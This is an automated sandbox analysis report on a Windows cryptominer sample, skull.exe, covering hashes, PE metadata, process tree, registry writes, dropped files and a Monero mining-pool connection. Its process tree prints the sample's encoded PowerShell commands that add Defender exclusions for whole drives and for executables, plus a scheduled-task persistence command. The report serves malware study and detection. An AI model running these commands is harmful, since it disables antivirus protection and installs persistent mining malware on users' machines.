download: | skull.exe |
Full analysis: | https://app.any.run/tasks/fee587ec-ad01-4701-a2d6-32a242fe015d |
Verdict: | Malicious activity |
Analysis date: | January 25, 2022, 00:51:50 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 64 bit) |
Tags: | |
Indicators: | |
MIME: | application/x-dosexec |
File info: | PE32+ executable (GUI) x86-64 (stripped to external PDB), for MS Windows |
MD5: | F2DAE31A8CDF225B130FE6C717EAE9B8 |
SHA1: | 4389803F7B7D58E23EF93664FEE24397E6E3FEA3 |
SHA256: | 43C6669B0393A549CF6C72625853CA30AA22C1293638828D1E2321769AA5182F |
SSDEEP: | 49152:NdRnHmdF8NOCMkiOBEMmHvM175aGbNQED4mJjiDVJc+GeAJlfxXHqgc2ISvsiGR7: |
.exe | | | Win64 Executable (generic) (87.2) |
---|---|---|
.exe | | | Generic Win/DOS Executable (6.3) |
.exe | | | DOS Executable Generic (6.3) |
MachineType: | AMD AMD64 |
---|---|
TimeStamp: | 0000:00:00 00:00:00 |
PEType: | PE32+ |
LinkerVersion: | 6 |
CodeSize: | 5632 |
InitializedDataSize: | 5631488 |
UninitializedDataSize: | - |
EntryPoint: | 0x222a |
OSVersion: | 4 |
ImageVersion: | - |
SubsystemVersion: | 4 |
Subsystem: | Windows GUI |
Architecture: | IMAGE_FILE_MACHINE_AMD64 |
---|---|
Subsystem: | IMAGE_SUBSYSTEM_WINDOWS_GUI |
Compilation Date: | 01-Jan-1970 00:00:00 |
Detected languages: |
|
Magic number: | MZ |
---|---|
Bytes on last page of file: | 0x0090 |
Pages in file: | 0x0003 |
Relocations: | 0x0000 |
Size of header: | 0x0004 |
Min extra paragraphs: | 0x0000 |
Max extra paragraphs: | 0xFFFF |
Initial SS value: | 0x0000 |
Initial SP value: | 0x00B8 |
Checksum: | 0x0000 |
Initial IP value: | 0x0000 |
Initial CS value: | 0x0000 |
Overlay number: | 0x0000 |
OEM identifier: | 0x0000 |
OEM information: | 0x0000 |
Address of NE header: | 0x00000080 |
Signature: | PE |
---|---|
Machine: | IMAGE_FILE_MACHINE_AMD64 |
Number of sections: | 5 |
Time date stamp: | 01-Jan-1970 00:00:00 |
Pointer to Symbol Table: | 0x00000000 |
Number of symbols: | 0 |
Size of Optional Header: | 0x00F0 |
Characteristics: |
|
Name | Virtual Address | Virtual Size | Raw Size | Charateristics | Entropy |
---|---|---|---|---|---|
.text | 0x00001000 | 0x00001410 | 0x00001600 | IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ | 5.38087 |
.rdata | 0x00003000 | 0x0055E632 | 0x0055E800 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 6.00133 |
.data | 0x00562000 | 0x00000FEC | 0x00000200 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE | 1.29356 |
.pdata | 0x00563000 | 0x0000009C | 0x00000200 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 1.29184 |
.rsrc | 0x00564000 | 0x000001F0 | 0x00000200 | IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ | 4.81994 |
Title | Entropy | Size | Codepage | Language | Type |
---|---|---|---|---|---|
1 | 4.85064 | 408 | UNKNOWN | English - United States | RT_MANIFEST |
kernel32.dll |
msvcrt.dll |
PID | CMD | Path | Indicators | Parent process | |||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
2188 | "C:\Users\admin\AppData\Local\Temp\skull.exe" | C:\Users\admin\AppData\Local\Temp\skull.exe | — | Explorer.EXE | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 3221226540 Modules
| |||||||||||||||
2904 | "C:\Users\admin\AppData\Local\Temp\skull.exe" | C:\Users\admin\AppData\Local\Temp\skull.exe | Explorer.EXE | ||||||||||||
User: admin Integrity Level: HIGH Exit code: 0 Modules
| |||||||||||||||
292 | "cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit | C:\Windows\system32\cmd.exe | — | skull.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
2844 | powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 1 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) Modules
| |||||||||||||||
2856 | powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 1 Version: 10.0.14409.1005 (rs1_srvoob.161208-1155) Modules
| |||||||||||||||
2384 | "cmd" /c schtasks /create /f /sc onlogon /rl highest /tn "vluuew" /tr "C:\Users\admin\AppData\Roaming\vluuew.exe" | C:\Windows\system32\cmd.exe | skull.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
1660 | schtasks /create /f /sc onlogon /rl highest /tn "vluuew" /tr "C:\Users\admin\AppData\Roaming\vluuew.exe" | C:\Windows\system32\schtasks.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Manages scheduled tasks Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
2580 | "cmd" cmd /c "C:\Users\admin\AppData\Roaming\vluuew.exe" | C:\Windows\system32\cmd.exe | — | skull.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
| |||||||||||||||
2196 | C:\Users\admin\AppData\Roaming\vluuew.exe | C:\Users\admin\AppData\Roaming\vluuew.exe | cmd.exe | ||||||||||||
User: admin Integrity Level: HIGH Exit code: 0 Modules
| |||||||||||||||
2252 | "cmd" cmd /c powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAALQBGAG8AcgBjAGUA" & powershell -EncodedCommand "QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4ARQB4AHQAZQBuAHMAaQBvAG4AIABAACgAJwBlAHgAZQAnACwAJwBkAGwAbAAnACkAIAAtAEYAbwByAGMAZQA=" & exit | C:\Windows\system32\cmd.exe | — | vluuew.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 1 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
|
(PID) Process: | (2844) powershell.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
Operation: | write | Name: | ProxyBypass |
Value: 1 | |||
(PID) Process: | (2844) powershell.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
Operation: | write | Name: | IntranetName |
Value: 1 | |||
(PID) Process: | (2844) powershell.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
Operation: | write | Name: | UNCAsIntranet |
Value: 1 | |||
(PID) Process: | (2844) powershell.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
Operation: | write | Name: | AutoDetect |
Value: 0 | |||
(PID) Process: | (2844) powershell.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\14B\52C64B7E |
Operation: | write | Name: | LanguageList |
Value: en-US | |||
(PID) Process: | (2856) powershell.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
Operation: | write | Name: | ProxyBypass |
Value: 1 | |||
(PID) Process: | (2856) powershell.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
Operation: | write | Name: | IntranetName |
Value: 1 | |||
(PID) Process: | (2856) powershell.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
Operation: | write | Name: | UNCAsIntranet |
Value: 1 | |||
(PID) Process: | (2856) powershell.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
Operation: | write | Name: | AutoDetect |
Value: 0 | |||
(PID) Process: | (2856) powershell.exe | Key: | HKEY_CLASSES_ROOT\Local Settings\MuiCache\14B\52C64B7E |
Operation: | write | Name: | LanguageList |
Value: en-US |
PID | Process | Filename | Type | |
---|---|---|---|---|
2904 | skull.exe | C:\Users\admin\AppData\Roaming\vluuew.exe | executable | |
MD5:F2DAE31A8CDF225B130FE6C717EAE9B8 | SHA256:43C6669B0393A549CF6C72625853CA30AA22C1293638828D1E2321769AA5182F | |||
2876 | powershell.exe | C:\Users\admin\AppData\Local\Temp\fyagp2ph.t5r.ps1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B | |||
2844 | powershell.exe | C:\Users\admin\AppData\Local\Temp\gipx4ieh.fwf.psm1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B | |||
2856 | powershell.exe | C:\Users\admin\AppData\Local\Temp\qrqykyt5.f3m.ps1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B | |||
2288 | powershell.exe | C:\Users\admin\AppData\Local\Temp\0301tznv.lrm.psm1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B | |||
2196 | vluuew.exe | C:\Users\admin\AppData\Roaming\Microsoft\Telemetry\sihost64.exe | executable | |
MD5:259154B10C3B622C022FE0BF4F06F5EF | SHA256:FB72845EB867614CC38DA55B9ACB4EB054196A4061754A263C9590891B8C656A | |||
2856 | powershell.exe | C:\Users\admin\AppData\Local\Temp\m1ragkby.xfc.psm1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B | |||
2876 | powershell.exe | C:\Users\admin\AppData\Local\Temp\txpkes1m.jic.psm1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B | |||
2288 | powershell.exe | C:\Users\admin\AppData\Local\Temp\nry41pwc.cnu.ps1 | binary | |
MD5:C4CA4238A0B923820DCC509A6F75849B | SHA256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B | |||
2844 | powershell.exe | C:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive | dbf | |
MD5:446DD1CF97EABA21CF14D03AEBC79F27 | SHA256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
2656 | explorer.exe | 94.23.23.52:5555 | pool.supportxmr.com | OVH SAS | FR | malicious |
Domain | IP | Reputation |
---|---|---|
pool.supportxmr.com |
| suspicious |
PID | Process | Class | Message |
---|---|---|---|
2656 | explorer.exe | Potential Corporate Privacy Violation | ET POLICY Cryptocurrency Miner Checkin |